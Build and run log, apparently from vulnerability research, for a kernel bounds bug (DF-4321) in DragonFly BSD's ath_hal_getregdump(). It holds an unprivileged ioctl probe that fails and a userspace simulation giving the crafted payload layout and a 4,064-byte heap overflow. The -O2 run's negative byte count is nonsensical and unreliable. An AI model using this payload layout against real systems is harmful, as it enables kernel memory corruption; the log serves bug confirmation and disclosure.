== build (oob_sim -O2 / -O0) ==
BUILD-OK

== run: poc (unprivileged) ==
uid=1001 euid=1001  probing SIOCGATHDIAG (unprivileged)
[vtnet0  ] SETREGS  : errno=22 (Invalid argument)
[vtnet0  ] REGS-dump: errno=22 (Invalid argument)
[lo0     ] SETREGS  : errno=22 (Invalid argument)
[lo0     ] REGS-dump: errno=22 (Invalid argument)
done. ENOTTY => SIOCGATHDIAG case not compiled (no ATH_DIAGAPI); EPERM would indicate a privilege gate (none in DragonFly source).
RC=0

== run: oob_sim -O0 ==
DF-4321: ath_hal_getregdump() signed/unsigned bounds bug
buffer: 32 bytes at 0x800473000, guard page at 0x800474000
payload: outsize=32; regs[0]={0x8000,0x800c}, regs[1..4095]={0x9000,0x9000}
legitimately writable: 32 bytes (8 header + 6 values)

=> WROTE PAST THE GUARD PAGE (fault at +4KB)
   bytes written before fault: 4096 (buffer was 32) = 4064-byte overflow
first 16 bytes past the 32-byte buffer (offset 32..48): a5a5a5a50090000000900000a5a5a5a5  <- 0xA5A5A5A5 'register value' words smeared over heap
RC=0

== run: oob_sim -O2 ==
DF-4321: ath_hal_getregdump() signed/unsigned bounds bug
buffer: 32 bytes at 0x800473000, guard page at 0x800474000
payload: outsize=32; regs[0]={0x8000,0x800c}, regs[1..4095]={0x9000,0x9000}
legitimately writable: 32 bytes (8 header + 6 values)

=> WROTE PAST THE GUARD PAGE (fault at +4KB)
   bytes written before fault: -34364403712 (buffer was 32) = -34364403744-byte overflow
first 16 bytes past the 32-byte buffer (offset 32..48): a5a5a5a50090000000900000a5a5a5a5  <- 0xA5A5A5A5 'register value' words smeared over heap
RC=0